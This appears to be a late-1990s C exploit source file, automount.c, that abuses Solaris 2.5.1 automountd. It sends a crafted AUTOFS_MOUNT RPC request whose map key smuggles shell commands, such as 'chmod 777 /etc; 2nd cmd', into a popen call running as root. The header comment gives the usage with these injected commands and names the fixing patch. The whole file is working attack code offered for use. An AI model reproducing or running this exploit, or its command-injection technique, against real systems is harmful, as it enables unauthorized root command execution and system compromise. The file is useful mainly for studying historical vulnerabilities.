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c-src
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automount.c
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C/C++ Source or Header
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1999-11-04
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/*
this is really dumb automountd exploit, tested on solaris 2.5.1
./r blahblah /bin/chmod "777 /etc; 2nd cmd;3rd cmd" and so on,
map is executed via popen with key given as argument, read automount(1M)
patch 10465[45] fixes this
*/
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/autofs_prot.h>
#define AUTOTS "datagram_v" /* XXX */
void usage(char *s) {
printf("Usage: %s mountpoint map key [opts]\n", s);
exit(0);
}
bool_t
xdr_mntrequest(xdrs, objp)
register XDR *xdrs;
mntrequest *objp;
{
register long *buf;
if (!xdr_string(xdrs, &objp->name, A_MAXNAME))
return (FALSE);
if (!xdr_string(xdrs, &objp->map, A_MAXNAME))
return (FALSE);
if (!xdr_string(xdrs, &objp->opts, A_MAXOPTS))
return (FALSE);
if (!xdr_string(xdrs, &objp->path, A_MAXPATH))
return (FALSE);
return (TRUE);
}
bool_t
xdr_mntres(xdrs, objp)
register XDR *xdrs;
mntres *objp;
{
register long *buf;
if (!xdr_int(xdrs, &objp->status))
return (FALSE);
return (TRUE);
}
main(int argc, char *argv[]) {
char hostname[MAXHOSTNAMELEN];
CLIENT *cl;
enum clnt_stat stat;
struct timeval tm;
struct mntrequest req;
struct mntres result;
if (argc < 4)
usage(argv[0]);
req.path=argv[1];
req.map=argv[2];
req.name=argv[3];
req.opts=argv[4];
if (gethostname(hostname, sizeof(hostname)) == -1) {
perror("gethostname");
exit(0);
}
if ((cl=clnt_create(hostname, AUTOFS_PROG, AUTOFS_VERS, AUTOTS)) == NULL) {
clnt_pcreateerror("clnt_create");
exit(0);
}
tm.tv_sec=5;
tm.tv_usec=0;
stat=clnt_call(cl, AUTOFS_MOUNT, xdr_mntrequest, (char *)&req, xdr_mntres,
(char *)&result, tm);
if (stat != RPC_SUCCESS)
clnt_perror(cl, "mount call");
else
printf("mntres = %d.\n", result.status);
clnt_destroy(cl);
}